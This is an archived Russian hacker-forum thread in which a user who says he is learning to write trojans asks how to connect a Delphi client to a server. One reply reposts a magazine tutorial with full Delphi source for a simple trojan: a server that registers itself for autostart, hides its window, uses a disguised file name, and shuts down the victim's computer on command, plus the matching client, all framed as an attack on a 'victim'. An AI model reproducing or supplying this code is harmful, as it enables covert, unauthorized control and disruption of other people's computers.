Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

[Как]приконектить клиент к серверу

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> [Как]приконектить клиент к серверу
Имя
Сообщение << Старые топики   Новые топики >>
[Как]приконектить клиент к серверу - 2007-09-14 23:33:04.900000   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333
Мне нужно приконектить клиент к серверу с помощью функции connect_to_server а какой должен быть код соединения? в гугл не посылать там ничего нет и на форуме я обыскался но статью #101-ого номера 'Ваяем r'admina' не нашёл.
Post #: 1
RE: [Как]приконектить клиент к серверу - 2007-09-15 14:15:30.280000   
int21h

Сообщений: 105
Оценки: 0
Присоединился: 2007-08-25 12:05:16.730000
Такс , Сервер уже готов ? Если сервер готов то что мешает клиента написать ?(если да то на чём писал ? это играет значимую роль в таких приложениях) Чуть не забыл ты через что с сервером общаешся (TCP,UDP) ?

p.s. Смотри подписку - на сайте есть инфа каторая тебе нужна
Post #: 2
RE: [Как]приконектить клиент к серверу - 2007-09-15 20:41:10.216666   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333
1 Сервер готов.
2 Я ещё не настолько хорошо знаю делфи.
3 Делфи
4 TCP

Я пишу код для кнопки в клиенте которая должна посылать сообщение на сервер и там есть функция connect_to_server. А я не знаю как приконектить!!!
Post #: 3
RE: [Как]приконектить клиент к серверу - 2007-09-15 22:14:50.386666   
int21h

Сообщений: 105
Оценки: 0
Присоединился: 2007-08-25 12:05:16.730000
http://slil.ru/24859952 - клиент на VB , в поле Comand напишеш параметр каторый должен передовацо , (Если не прокатит то попробуй записать в скобках)
Post #: 4
RE: [Как]приконектить клиент к серверу - 2007-09-16 01:10:58.873333   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
какой компонент то?
Post #: 5
RE: [Как]приконектить клиент к серверу - 2007-09-16 09:10:46.826666   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333
TCP
Post #: 6
RE: [Как]приконектить клиент к серверу - 2007-09-16 09:46:43.243333   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333

quote:

ORIGINAL: int21h

http://slil.ru/24859952 - клиент на VB , в поле Comand напишеш параметр каторый должен передовацо , (Если не прокатит то попробуй записать в скобках)

Не это мне не подходит я хочу сам, всё сделал только не знаю код функции.
Post #: 7
RE: [Как]приконектить клиент к серверу - 2007-09-16 09:50:23.436666   
int21h

Сообщений: 105
Оценки: 0
Присоединился: 2007-08-25 12:05:16.730000
Ну так бы и сказал … Щет ! Я в делфях дуб-дубом ! Поспрашуй на других форумах - wasm.ru 8|
Post #: 8
RE: [Как]приконектить клиент к серверу - 2007-09-16 13:29:01.113333   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
примерно так
http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=LcV&q=Delphi+%D0%BF%D0%B8%D1%88%D0%B5%D0%BC+%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%83+%D0%B4%D0%BB%D1%8F+%D0%BF%D0%B5%D1%80%D0%B5%D1%81%D1%8B%D0%BB%D0%BA%D0%B8+%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2+%D1%87%D0%B5%D1%80%D0%B5%D0%B7+%D1%81%D0%BE%D0%BA%D0%B5%D1%82%D1%8B&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=
Post #: 9
RE: [Как]приконектить клиент к серверу - 2007-09-17 20:04:47.913333   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333

quote:

ORIGINAL: Yashin

примерно так
http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=LcV&q=Delphi+%D0%BF%D0%B8%D1%88%D0%B5%D0%BC+%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%83+%D0%B4%D0%BB%D1%8F+%D0%BF%D0%B5%D1%80%D0%B5%D1%81%D1%8B%D0%BB%D0%BA%D0%B8+%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2+%D1%87%D0%B5%D1%80%D0%B5%D0%B7+%D1%81%D0%BE%D0%BA%D0%B5%D1%82%D1%8B&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=

Не, там ничего нет, я же говорю весь гугел облазил ничего не нашёл. Ну люди, что никто не знает, как соединить сервер и клиент??????? Помогите плиз?!?!?!?!?!?!?!?!?!?!
Post #: 10
RE: [Как]приконектить клиент к серверу - 2007-09-17 20:25:33.400000   
int21h

Сообщений: 105
Оценки: 0
Присоединился: 2007-08-25 12:05:16.730000
Неожели не кто троев на делфи не писал ?
Post #: 11
RE: [Как]приконектить клиент к серверу - 2007-09-17 21:47:11.916666   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
ну дык пусть объяснит какой компонент использует. Indy, или еще что?
Post #: 12
RE: [Как]приконектить клиент к серверу - 2007-09-17 22:47:18.663333   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333

quote:

ORIGINAL: Yashin

ну дык пусть объяснит какой компонент использует. Indy, или еще что?

Да Indy я использую TCPServer,TCPClient.
Post #: 13
RE: [Как]приконектить клиент к серверу - 2007-09-18 00:32:59   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
Раз никого нет - буду помогать я ). Так, как я понял в idTCPServer и idTCPClient не учитывается длина пакета и не определяется keep-alive соединение или нет. Сервер уже есть? что за сервер, какие действия выполняет, какой формат пакетов и т.д. это уже все решено или нет?
Подключение к серверу может быть таким:
IDTCPClient.Connect;
IDTCPClient.Write(Edit1.Text);
IDTCPClient.Disconnect;
Это если разрыв соединения производится клиентом, и длина(конец) строки известна.
Post #: 14
RE: [Как]приконектить клиент к серверу - 2007-09-18 14:19:44.570000   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333

quote:

ORIGINAL: Yashin

Раз никого нет - буду помогать я ). Так, как я понял в idTCPServer и idTCPClient не учитывается длина пакета и не определяется keep-alive соединение или нет. Сервер уже есть? что за сервер, какие действия выполняет, какой формат пакетов и т.д. это уже все решено или нет?
Подключение к серверу может быть таким:
IDTCPClient.Connect;
IDTCPClient.Write(Edit1.Text);
IDTCPClient.Disconnect;
Это если разрыв соединения производится клиентом, и длина(конец) строки известна.


Сервер готов, сервер должен только ждать команд от клинта если всё получится я вообще потом сделаю его невидимым. а что за пакеты я ваще не знаю. Ща проверю функцию.
Post #: 15
RE: [Как]приконектить клиент к серверу - 2007-09-18 20:11:29.326666   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
откуда ждать то? это японимаю так: сервер слушает, например 8080 порт на компьютере и ждет подключения, клиент подключается по адресу компьютера на 8080 порт и посылает порцию данных. Данные могут быть, например, такого вида:
_длина_<данные>. Тогда сервер будет знать сколько он получил данных, и уже их может перевести в строку или команду.
Post #: 16
RE: [Как]приконектить клиент к серверу - 2007-09-18 20:28:03.023333   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333

quote:

ORIGINAL: Yashin

откуда ждать то? это японимаю так: сервер слушает, например 8080 порт на компьютере и ждет подключения, клиент подключается по адресу компьютера на 8080 порт и посылает порцию данных. Данные могут быть, например, такого вида:
_длина_&lt;данные&gt;. Тогда сервер будет знать сколько он получил данных, и уже их может перевести в строку или команду.

ДА примерно так, но я команды сам напишу. мне нужно только знать как приконектить клиент к серверу. В сервере вводишь ip и порт к которым будет подключаться клиент, воть як она должна риботать.
Post #: 17
RE: [Как]приконектить клиент к серверу - 2007-09-19 07:42:01.513333   
BOND07

Сообщений: 175
Оценки: 0
Присоединился: 2007-07-05 10:49:35.983333
quote:


а айпи ты куди будешь прописывать? узнать клиенту ip самая сложная задача, если это локальная сеть, то можешь жестко привязать программу к айпи адресу сервера, но если это интернет, то придется использывать какие-нибудь временные хранилища для получения клиентом внешнего айпи адреса сервера. Понятнее объяснить не могу. Когда будешь тестировать используй localhost(айпи - 127.0.0.1), внешний адрес твоего компьютера можешь узнать на myip.ru или в подписи у Адреналина


Да предположим я ip знаю (я пока учусь писать торояны, так что я буду испытывать на коипе друга) тот код который ты давал выше, рабочий? Ща попробую сделать клиента. Спасибо.
Post #: 18
RE: [Как]приконектить клиент к серверу - 2007-09-19 10:47:09.330000   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
Ну можешь и усебя на компе проверять, 127.0.0.1 айпи используешь и все, а для надежности можешь и свой внешний айпи использывать, с включенным интернетом
Post #: 19
RE: [Как]приконектить клиент к серверу - 2007-09-27 18:14:44.320000   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
Боевой конь за 10 минут























&nbsp;
























Боевой конь за 10 минут:Ты уже сто раз слышал это магическое слово «Троян». И мы уже много раз писали обзоры различных коней этой породы. В твоих извилинах, наверно уже давно крутиться мысль о создании собственного боевого коня. Сегодня тебе предстоит эта уникальная возможность. Даже если ты никогда не будешь использовать эти знания, тебе всё равно нужно знать, как работают трояны изнутри.
Для простоты тела мы сделаем это на Delphi. Я выбрал этот язык, потому что тело журнала ограничено, и я не хочу вдаваться в подробности протоколов.
В этом номере ты найдёшь статью, посвящённую написанию супер плеера на Delphi. Если ты её пропустил, то обязательно прочти и возвращайся сюда. Там я описал основные принципы работы с оболочкой компилятора, так что здесь повторяться не буду.
Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов, и ближе к телу.
Троянский сервер:Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» – «New Application»). Сейчас мы примемся за серверную часть трояна.
Для начала выбери пункт меню «Options» из меню «Project».
Здесь ты должен перенести «From1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделано у меня. Только что мы отключили From1 из списка авто инициализируемых форм. Теперь инициализацию придётся произвести вручную. Не пугайся, это очень просто.
На странице «Application» этого же диалога есть кнопка «Load Icon». Нажми её, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячая, а она быстро выдаст твоё смертельное оружие.
Теперь ты должен бросить на форму компонент ServerSocket из раздела «Internet», это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство «Port». По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).
Теперь щёлкни в любом месте на форме, чтобы активизировать её свойства. Перейди в ObjectInspector и щёлкни по закладке Events. Дважды щёлкни по строке «OnCreate» и Delphi, как всегда, создаст процедуру, она будет выполняться при инициализации формы. Напиши там следующее:
procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

Теперь перейди в начало текста и напиши после «uses» слово «registry». Мы уже делали такую операцию в статье про мега плеер, но я повторю, как это будет выглядеть:
uses registry, Windows, Messages,

Теперь я объясню, что мы написали в процедуре.
«var RegIni:TRegIniFile» - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.
«RegIni:=TRegIniFile.Create('Software')» - инициализируем переменную указывающую на реестр.
«RegIni.RootKey:=HKEY_LOCAL_MACHINE» говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.
«RegIni.OpenKey('Software', true)» - открываю подраздел «Software».
Дальше я последовательно открываю подразделы, пробираясь в недра окошек.
«RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName)” – записываю в раздел «RunServices» (в этом разделе хранятся проги, которые автоматически загружаются при старте), новый параметр с именем «Internat32.exe» (имя будущего файла) и значением Application.ExeName (здесь храниться полный путь к запущенному трояну).
«RegIni.Free» - уничтожаю ненужный больше объект RegIni.
Всё это делалось, чтобы при запуске проги, она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.
Самая последняя строка «ServerSocket1.Active:=true» запускает сервер на указанном тобой порте.
С загрузкой покончено. Теперь давай займёмся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щёлкни по строке «OnDistroy». Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:
procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;

Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключён к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищённости его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не надо (забегу вперёд и скажу, что мы сами будем перегружать компьютер жертвы).
Теперь нужно выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щёлкни по строке «OnClientRead» и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText ='R' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;

Теперь, как это звучит по-нашему:
Если полученный текст = букве ‘R’ то
Отправить компьютер в редаун.

ExitWindowsEx – редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром, перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои изменённые данные. Если ты злей меня, то используй EWX_FORCE. В этом случае, компьютер упадёт без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортит :).
Троян практически готов, сохрани его. Для этого выбери «Save All» из меню «File». С начала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми «Сохранить». Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его «Internat32», чтобы файл не вызывал особых подозрений.
Конюшня для коня:Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню «Project Manager» из меню «View».
Щёлкни правой кнопкой по Internat32.exe и в появившемся меню выбери «View Source». Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь с этим текстом, и допиши то, чего не хватает, а что лишнее – убери (так не так уж и много):
program Internat32;

uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;

WhEvent:=CreateEvent(nil, true,false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

Будь внимателен при переписывании. Всё должно быть один к одному. Теперь я расскажу, что здесь написано:
В самом начале нет ничего интересного, и нас абсолютно не касается. Нас интересует всё, что написано после слова «Var».
WhEvent:THandle – Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle.
Application.Initialize – Инициализируется троян.
ShowWindow(Application.Handle, SW_Hide) – Устанавливаю параметры окна. Параметр SW_Hide – говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают, о таком имени) имя.
Form1:=TForm1.Create(nil) – создаю форму. Мне приходится это делать так, потому что мы убрали форму из из списка авто создаваемых.
Application.Run – запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь всё очень просто.
WhEvent:=CreateEvent(nil, true,false, 'et') – инициализация пустого события.
Следующие пять строчек я напишу словами, а ты разберёшься как всегда методом сравнения:
Пока (true) выполнять
Начать цикл
Ждать пока наступит событие (пустое событие, 1000 миллисекунд)
Получить управление
Закончить цикл

Две строчки между началом и концом цикла будет выполняться бесконечно, потому что true оно всегда true, и из этого цикла выхода нет. Весь цикл заключаеться в двух особенностях:
1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождёт его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда).
2. Получить управление.
После второго шага программа снова перейдёт на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передаётся управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно – приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем.
Нажми «Ctrl+F9» чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь её тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices. Не забудь после тестирования его удалить.
Теперь переходим к клиентской части, которую ты должен будешь запустить на своём компьютере для управления компьютером жертвы.
Троянский всадник:Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна. Ещё пару минут напряжённого труда и все красавицы наши :).
На новый проект ты должен бросить три компонента:
1. Button из закладки «Standart» для отправки команды на компьютер жертвы.
2. Edit из закладки «Standart» для ввода имени или адреса жертвы.
3. ClientSocket из закладки «Internet» клиент порта для связи с сервером
Выдели ClientSocket1 и в ObjectInspector-е измени свойство порт. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.
Теперь дважды щёлкни по кнопке и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active:=false;
end;

ClientSocket1.Host:=Edit1.Text – В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в инете, то там ты имя никак не сможешь узнать. Тебе придётся использовать IP адрес, а значит эта строчка замениться на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP адрес.
ClientSocket1.Active:=true – активировать соединение с сервером.
ClientSocket1.Socket.SendText('R') – отправить букву R. Помнишь, что у нас было пару минут назад. Если сервер получит букву R, то он перегрузит машину.
ClientSocket1.Active:=false – закрыть соединение с сервером.
Всё. Троян готов к бою. Нажми «Ctrl+F9» чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своём компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку. Компьютер жертвы должен перегрузится.
На этом я закругляюсь. Удачи тебе.
Post #: 20
RE: [Как]приконектить клиент к серверу - 2007-09-27 23:28:40.290000   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);

Можно заменить одним RegIni.OpenKey('Software/Microsoft/Windows/CurrentVersion', true);
Post #: 21
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> [Как]приконектить клиент к серверу







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.